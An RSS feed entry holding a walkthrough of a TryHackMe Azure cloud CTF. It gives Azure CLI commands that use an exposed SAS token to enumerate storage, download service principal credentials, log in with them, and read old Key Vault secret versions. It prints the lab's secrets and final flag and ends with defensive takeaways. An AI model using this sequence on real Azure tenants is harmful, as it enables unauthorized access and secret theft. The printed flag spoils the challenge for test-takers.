<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: eswar</title>
    <description>The latest articles on DEV Community by eswar (@eswar3).</description>
    <link>https://dev.to/eswar3</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4063092%2F62c845cb-1807-4e28-9619-9091d03f7d1f.png</url>
      <title>DEV Community: eswar</title>
      <link>https://dev.to/eswar3</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/eswar3"/>
    <language>en</language>
    <item>
      <title>CryptoCabana: Azure Cloud CTF Walkthrough - THM Room</title>
      <dc:creator>eswar</dc:creator>
      <pubDate>Tue, 04 Aug 2026 20:58:32 +0000</pubDate>
      <link>https://dev.to/eswar3/cryptocabana-azure-cloud-ctf-walkthrough-thm-room-42oc</link>
      <guid>https://dev.to/eswar3/cryptocabana-azure-cloud-ctf-walkthrough-thm-room-42oc</guid>
      <description>&lt;p&gt;CryptoCabana: Azure Cloud CTF Walkthrough 🏖️&lt;br&gt;
Introduction&lt;/p&gt;

&lt;p&gt;Room: TryHackMe - CryptoCabana&lt;br&gt;
Category: ☁️ Cloud&lt;br&gt;
Difficulty: Medium&lt;br&gt;
Objective: Exploit a misconfigured Azure cloud environment to retrieve a hidden flag.&lt;/p&gt;

&lt;p&gt;This writeup details a classic cloud privilege escalation path: an exposed SAS token → storage enumeration → credential discovery → Key Vault access → secret reconstruction. The challenge simulates a real-world scenario where poor security practices lead to a complete compromise.&lt;br&gt;
Table of Contents&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Reconnaissance &amp;amp; Initial Access

Cloud Enumeration

Service Principal Discovery

Key Vault Exploration

The "Freshly Rotated" Clue

Reconstructing the Flag

Key Security Takeaways

Tools Used
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Reconnaissance &amp;amp; Initial Access&lt;/p&gt;

&lt;p&gt;Action: Visited the target website:&lt;br&gt;
&lt;a href="https://cryptocabanaf5scjagc.z13.web.core.windows.net/" rel="noopener noreferrer"&gt;https://cryptocabanaf5scjagc.z13.web.core.windows.net/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finding: The website offered to back up seed phrases. Right-clicking and selecting "View Page Source" revealed critical information in the JavaScript code.&lt;/p&gt;

&lt;p&gt;JavaScript Code:&lt;br&gt;
javascript&lt;/p&gt;

&lt;p&gt;const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";&lt;br&gt;
const BACKUPS_CONTAINER = "backups";&lt;br&gt;
const BACKUP_SAS = "?sv=2022-11-02&amp;amp;ss=b&amp;amp;srt=sco&amp;amp;sp=rl&amp;amp;se=2099-12-31T23:59:59Z&amp;amp;st=2024-01-01T00:00:00Z&amp;amp;spr=https&amp;amp;sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";&lt;/p&gt;

&lt;p&gt;Analysis:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The SAS (Shared Access Signature) token was hardcoded in client-side JavaScript.

Permissions: Read (r) and List (l)

Expiration: 2099 – far too long!

This token grants anyone access to the storage account.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;bash&lt;/p&gt;

&lt;p&gt;az storage container list --account-name cryptocabanaf5scjagc --sas-token "$BACKUP_SAS" -o table&lt;/p&gt;

&lt;p&gt;Cloud Enumeration&lt;/p&gt;

&lt;p&gt;Action: Listed all containers in the storage account.&lt;/p&gt;

&lt;p&gt;Command:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;az storage container list --account-name cryptocabanaf5scjagc --sas-token "$BACKUP_SAS" -o table&lt;/p&gt;

&lt;p&gt;Output:&lt;br&gt;
Name    Lease Status    Last Modified&lt;br&gt;
$web        2026-07-16T18:26:22+00:00&lt;br&gt;
backups     2026-07-16T18:26:22+00:00&lt;br&gt;
vault       2026-07-16T18:26:23+00:00&lt;/p&gt;

&lt;p&gt;Analysis:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$web: Standard container for Azure Static Website hosting.

backups: Appeared empty.

vault: Hidden container – not referenced anywhere in the frontend code. This was the real target.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Action: Listed blobs in the vault container.&lt;/p&gt;

&lt;p&gt;Command:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;az storage blob list --account-name cryptocabanaf5scjagc --container-name vault --sas-token "$BACKUP_SAS" -o table&lt;/p&gt;

&lt;p&gt;Output:&lt;br&gt;
Name    Blob Type   Length  Content Type&lt;br&gt;
backup-service-account.json BlockBlob   360 application/json&lt;br&gt;
seed_phrase.txt BlockBlob   88  application/octet-stream&lt;br&gt;
Service Principal Discovery&lt;/p&gt;

&lt;p&gt;Action: Downloaded and examined backup-service-account.json.&lt;/p&gt;

&lt;p&gt;Command:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;az storage blob download --account-name cryptocabanaf5scjagc --container-name vault --name backup-service-account.json --file backup-service-account.json --sas-token "$BACKUP_SAS"&lt;/p&gt;

&lt;p&gt;Contents:&lt;br&gt;
json&lt;/p&gt;

&lt;p&gt;{&lt;br&gt;
  "client_id": "dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",&lt;br&gt;
  "client_secret": "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",&lt;br&gt;
  "key_vault_name": "ccabana-kv-f5scjagc",&lt;br&gt;
  "key_vault_uri": "&lt;a href="https://ccabana-kv-f5scjagc.vault.azure.net/" rel="noopener noreferrer"&gt;https://ccabana-kv-f5scjagc.vault.azure.net/&lt;/a&gt;",&lt;br&gt;
  "tenant_id": "8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c",&lt;br&gt;
  "note": "CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT"&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Analysis:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Service Principal credentials – an application identity used for automation.

client_id: Application ID

client_secret: The password for the service principal

tenant_id: Azure AD tenant

Critical Note: The note itself says "Rotate this if it ever leaves the vault" – yet it was left in a public blob!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Action: Authenticated to Azure using the service principal.&lt;/p&gt;

&lt;p&gt;Command:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;az login --service-principal --username dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 --password "UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg" --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c&lt;/p&gt;

&lt;p&gt;Key Vault Exploration&lt;/p&gt;

&lt;p&gt;Action: Listed secrets in the Key Vault.&lt;/p&gt;

&lt;p&gt;Command:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;az keyvault secret list --vault-name ccabana-kv-f5scjagc -o table&lt;/p&gt;

&lt;p&gt;Output:&lt;br&gt;
Name    Enabled&lt;br&gt;
key-shard-1 True&lt;br&gt;
key-shard-2 True&lt;br&gt;
key-shard-3 True&lt;br&gt;
master-key  True&lt;/p&gt;

&lt;p&gt;Analysis:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Four secrets found.

The master-key was the ultimate target but was protected by RBAC (Role-Based Access Control).

The three shards (key-shard-1, key-shard-2, key-shard-3) are pieces of a secret-sharing scheme.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Attempt to Read master-key:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "master-key" --query value -o tsv&lt;/p&gt;

&lt;p&gt;Error:&lt;br&gt;
text&lt;/p&gt;

&lt;p&gt;(Forbidden) Caller is not authorized to perform action on resource.&lt;/p&gt;

&lt;p&gt;This confirmed the need for the shards.&lt;br&gt;
The "Freshly Rotated" Clue&lt;/p&gt;

&lt;p&gt;The challenge hinted:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"if a value looks freshly rotated, ask yourself what it looked like five minutes before that"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This was the key insight.&lt;/p&gt;

&lt;p&gt;Action: Checked for previous versions of key-shard-2.&lt;/p&gt;

&lt;p&gt;Command:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name "key-shard-2" -o table&lt;/p&gt;

&lt;p&gt;Output:&lt;br&gt;
Version Created&lt;br&gt;
3d6492d2c6f74123bc754a9ded22b2a0    [Older]&lt;br&gt;
c922c422ffb34671a902389c372314f1    [Newer – rotated]&lt;/p&gt;

&lt;p&gt;Action: Read the older version.&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-2" --version "3d6492d2c6f74123bc754a9ded22b2a0" --query value -o tsv&lt;/p&gt;

&lt;p&gt;Value: &lt;em&gt;k3ys_n0t&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Action: Read key-shard-1 and key-shard-3 (non-rotated).&lt;/p&gt;

&lt;p&gt;Commands:&lt;br&gt;
bash&lt;/p&gt;

&lt;p&gt;az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-1" --query value -o tsv&lt;br&gt;
az keyvault secret show --vault-name ccabana-kv-f5scjagc --name "key-shard-3" --query value -o tsv&lt;/p&gt;

&lt;p&gt;Values:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Shard 1: THM{n0t_ur

Shard 3: ur_c01ns!}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Reconstructing the Flag&lt;/p&gt;

&lt;p&gt;The three shards combined to form the final flag:&lt;br&gt;
Shard   Value&lt;br&gt;
key-shard-1 THM{n0t_ur&lt;br&gt;
key-shard-2 (older version) &lt;em&gt;k3ys_n0t&lt;/em&gt;&lt;br&gt;
key-shard-3 ur_c01ns!}&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;⚠️ SPOILER ALERT! The flag is revealed below. Only proceed if you've completed the room or are stuck.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;🚨 Click to reveal the final flag&lt;/p&gt;

&lt;p&gt;Final Flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}&lt;/p&gt;

&lt;p&gt;Key Security Takeaways&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Never Hardcode Credentials in Client-Side Code&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The SAS token was embedded in JavaScript, accessible to anyone viewing the page source. This should never happen. Tokens and keys must be server-side only.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use Short-Lived SAS Tokens&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The SAS token was valid until 2099. This gives attackers a massive window. Always use short expiration times (e.g., minutes or hours) and regenerate them as needed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Principle of Least Privilege&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The SAS token had read/list permissions across the entire storage account. It should have been restricted to only the backups container with the minimal permissions required.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Secure Key Vault with Proper RBAC&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Service principals should have only the permissions they need. Additionally, secret versioning is a double-edged sword – rotating a secret is useless if the old version remains accessible.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Regular Audits&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Regularly audit your Azure resources for:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Exposed credentials in code

Overly permissive SAS tokens

Unused or hidden containers

Old secret versions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Tools Used&lt;br&gt;
Tool    Purpose&lt;br&gt;
Browser DevTools    Source code inspection&lt;br&gt;
Azure CLI   Azure resource enumeration and access&lt;br&gt;
Azure Portal    Visual exploration (optional)&lt;br&gt;
Terminal    Command execution&lt;br&gt;
Conclusion&lt;/p&gt;

&lt;p&gt;The CryptoCabana room demonstrates a realistic cloud privilege escalation path. What started as a simple website with a backup feature led to:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;An exposed SAS token in JavaScript

Storage account enumeration

Discovery of a hidden container with credentials

Service principal authentication

Key Vault exploration

Secret versioning exploitation

Flag reconstruction

⚠️ SPOILER ALERT! The flag is revealed below. Only proceed if you've completed the room or are stuck.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;🚨 Click to reveal the final flag&lt;/p&gt;

&lt;p&gt;Final Flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}&lt;/p&gt;

&lt;p&gt;Happy hacking! 🌴🏖️&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Disclaimer: This writeup is for educational purposes only. Always obtain proper authorization before testing security on any system you do not own.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>tryhackme</category>
      <category>azure</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
